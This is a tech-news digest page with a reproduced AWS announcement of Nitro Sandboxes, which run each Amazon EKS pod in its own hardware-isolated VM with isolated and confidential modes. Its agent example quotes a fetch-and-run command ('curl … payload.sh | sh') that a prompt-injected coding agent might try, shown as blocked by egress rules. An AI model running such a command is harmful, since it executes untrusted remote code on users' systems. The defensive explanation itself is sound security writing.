Back to Devoured - November 11, 2026
DEVOURED
AWS Nitro Sandboxes: Hardware-enforced workload isolation on Amazon EKS

AWS Nitro Sandboxes: Hardware-enforced workload isolation on Amazon EKS

DevOps AWS
AWS Nitro Sandboxes now enable hardware-enforced isolation for Amazon EKS pods by running each in its own lightweight virtual machine.
What: AWS introduced Nitro Sandboxes, allowing EKS pods to run inside individual VMs with hardware-enforced memory and CPU boundaries. It supports an 'isolated' mode for general protection and a 'confidential' mode using cryptographic attestation for sensitive workloads.
Why it matters: This effectively solves the 'multitenancy on Kubernetes' security dilemma without sacrificing the operational simplicity of standard pods, shifting the security boundary from software to hardware.
Takeaway: Add `runtimeClassName: isolated-sandbox` to your pod specifications on EKS Auto Mode or compatible nodes to enable hardware isolation.
Deep dive
  • Runs each pod inside a dedicated, lightweight VM governed by the Nitro hypervisor.
  • Supports 'isolated mode' for general host and neighbor protection.
  • Supports 'confidential mode' for cryptographic proof of workload integrity.
  • Eliminates the need for dedicated EC2 instances per tenant to achieve isolation.
  • Works with existing EKS components like IAM, EBS, and CNI without image changes.
  • Limits the 'blast radius' of malicious code or prompt-injected agents.
  • Requires EKS v1.36 or later and Nitro-enabled instance families.
Decoder
  • Nitro System: AWS hardware/software platform that offloads virtualization functions to dedicated hardware, providing isolation between instances.
  • RuntimeClass: A Kubernetes API resource used to select container runtime configurations for specific pods.
  • Cryptographic Attestation: A process where the hardware proves exactly what software image is running, allowing access to secrets only if the measurement matches policy.
Original article

AWS Nitro Sandboxes: Hardware-enforced workload isolation on Amazon EKS

Run agentic AI, multi-tenant SaaS, and regulated workloads with the isolation of a dedicated Amazon Elastic Compute Cloud (Amazon EC2) instance and the simplicity of a Kubernetes pod. Nitro Sandboxes give each pod a hardware-enforced security boundary, built on the same Nitro System that isolated EC2 instances from each other.

The problem: Why isolation matters now

Kubernetes containers share a host operating system. That’s what makes them fast and lightweight, but it also means that a vulnerability in one container can compromise every other container on the same machine. The typical workaround is to give each sensitive workload its own dedicated machine. It works, but it’s expensive, because most of that machine sits idle, and you’re paying for security with wasted infrastructure.

Several trends are making this workaround unsustainable:

  • AI agents are writing and running their own code: No human reviews it before it executes. If untrusted code breaks out from the container, a single malicious prompt can escalate into a lateral movement on the host, granting access to read secrets and poison container images.
  • SaaS platforms are running with hundreds of customers on shared clusters: Dedicating an entire Amazon EC2 instance per customer is cost prohibitive. ISVs need a way to safely share infrastructure while helping prevent one customer from accessing another’s data or starving their resources.
  • Regulated industries need proof, not promises: Healthcare organizations subject to HIPAA, financial institutions governed by PCI DSS and SOX, and government agencies bound by FedRAMP increasingly require cryptographic evidence that a workload ran untampered. Auditors evaluating compliance with these frameworks now ask for cryptographic attestation rather than configuration checklists.
  • CI/CD and container builds run with elevated privileges: These give them broad access to the host, requiring dedicated machines to contain the risk.

Each of these workarounds depends on keeping a shared kernel patched and spending more on infrastructure to keep workloads apart. A better approach is an architecture where a kernel issue in one workload cannot reach another in the first place, so you don’t have to trade efficiency for isolation. Autonomous AI agents now probe, adapt, and chain exploits at machine speed, turning every shared-kernel weakness into an attack surface that no human team can patch fast enough. What if the trade-off between efficiency and safety is no longer required?

What we are launching

Today we are launching AWS Nitro Sandboxes for Amazon Elastic Kubernetes Service (Amazon EKS), and with it, pods get strong security isolation for the first time.

Every sandboxed pod runs inside its own lightweight virtual machine, powered by the same AWS Nitro System that keeps every EC2 instance isolated from the others. Each pod gets its own operating system, completely separate from the host and from every neighbor. If something goes wrong inside the pod, no syscall can reach anything outside the guest kernel. Any workload that needs strong isolation now gets a hardware boundary, without dedicating a machine to each one.

On EKS Auto Mode, enabling Nitro Sandboxes is a one-line change to your pod spec. You don’t change your container images, deployment pipelines, or Helm charts. Your pods still use the same AWS Identity and Access Management (IAM) credentials, the same storage, the same monitoring, the same networking, and the same security tools. kubectl exec, kubectl logs, and kubectl port-forward work identically.

Because each sandbox runs a full operating system kernel, applications run as they would in a standard container. AWS Nitro Sandboxes passes every Kubernetes conformance test.

How it works

Nitro Sandboxes change two things at once: how isolated a pod is, and how predictably it shares a node.

You no longer choose between security and efficiency

Until now, strong isolation meant one workload per machine. With Nitro Sandboxes, you can pack many isolated pods onto a single node, each with its own VM boundary. Packing pods together raises a second question: can one pod slow down its neighbors? Each sandbox runs in its own slice of CPU and memory, and the Nitro Hypervisor enforces that slice in hardware, so neither the EC2 host nor neighbor pods can read its memory or CPU state. The resources that pods still share on the node, such as network bandwidth, disk I/O, DNS queries, log output, and connection tracking (conntrack) entries, are protected by default with configurable throttles. A runaway agent, a heavy build job, or one busy tenant hits its own limits before it affects the pods next to it.

Two modes

Isolated mode puts each pod in its own virtual machine. The goal is to protect the host and neighboring pods from anything that happens inside the container.

Confidential mode goes further. It treats even the machine operator as untrusted. Cryptographic attestation proves the exact code running inside the sandbox, and AWS Key Management Service (AWS KMS) only allows decryption when presented with an attestation document that attests to the system image and the configured Cedar policy. The design prevents a cluster administrator from reading the pod’s memory.

What happens when the pod starts. The Nitro System is the hardware and hypervisor that runs every EC2 instance. It isolates instances from each other and from the host in dedicated hardware, not in software you must configure. Nitro Sandboxes builds on a new EC2 capability, which lets the Nitro Hypervisor carve a hardware-isolated slice of CPU and memory out of a running instance. Amazon EKS uses that slice to give each sandboxed pod its own lightweight VM. From the pod’s point of view, the sequence is short:

  1. The scheduler places the pod as usual.
  2. Amazon EKS boots a lightweight VM for the pod. Instead of starting the containers on the node’s kernel, the container runtime asks EC2 for a Nitro Partition and boots a VM inside it.
  3. Your containers start inside the VM, unchanged. An in-guest component receives the pod spec and its Cedar policy, checks that what is about to run is what the policy allows, pulls the images, and starts the containers with a standard container runtime.
  4. Kubernetes sees a normal pod. Logs, exec, port-forward, probes, and metrics flow back to the kubelet over an internal control channel.

Confidential mode adds attestation to that flow. The Nitro Security Module measures what booted inside the sandbox and signs an attestation document that your workload presents to AWS KMS, so a secret is released only to a sandbox running the image and policy you expect.

Getting started

The fastest path is EKS Auto Mode, where the runtime classes are present on every cluster. If you run standard EKS with your own node groups or Karpenter, the same pod specs work once your nodes run a sandbox-enabled AMI.

A real workload: Why it’s important

This example shows why it matters. It runs a real AI coding agent that reads a GitHub issue, writes a fix, runs tests, and opens a pull request, all inside a Nitro Sandbox where the blast radius of anything the agent does is one VM that gets deleted when the job is done.

  • Model access: Amazon Bedrock through Pod Identity.
  • Repo access: one GitHub repository through a short-lived, fine-grained token mounted as a Secret.
  • Everything else is denied: an EKS Auto Mode ApplicationNetworkPolicy allows egress only to CoreDNS and to HTTPS on the Bedrock and GitHub hostnames.

If the agent gets prompt-injected and tries to run curl https://example.com/payload.sh | sh, the connection never opens: example.com is not on the egress list. When the pod exits, the VM is destroyed, so no state leaks into the next run.

Integrations: Where Nitro Sandboxes fits

Nitro Sandboxes is a Kubernetes RuntimeClass, not a new API. Any tool, controller, or platform that renders a pod template can run its workloads inside a hardware-isolated VM by setting one field.

  • Agent frameworks and coding harnesses work as-is.
  • Warm pools for interactive workloads via the Kubernetes SIG project agent-sandbox.
  • Self-hosted managed agents where the reasoning loop stays in the cloud but tool execution runs on your infrastructure.
  • CI/CD and AI software factories where untrusted build jobs run inside a per-pod VM.
  • Durable orchestration like Temporal, which can provision a VM per task.
  • Remote IDEs and multi-tenant SaaS giving each user a full IDE or tenant environment in a VM they cannot escape.

Try it today

Nitro Sandboxes for Amazon EKS is available today in all AWS Commercial Regions on all Nitro-enabled instance families: Intel, AMD, and Graviton. On EKS Auto Mode, the runtime classes ship with every cluster. Add runtimeClassName: isolated-sandbox to your next pod spec and you’re running inside a hardware-enforced boundary in under a minute.

Explore all 54 articles in today's digest

Fresh dev news, AI-digested daily. Never miss a trend at devoured.fyi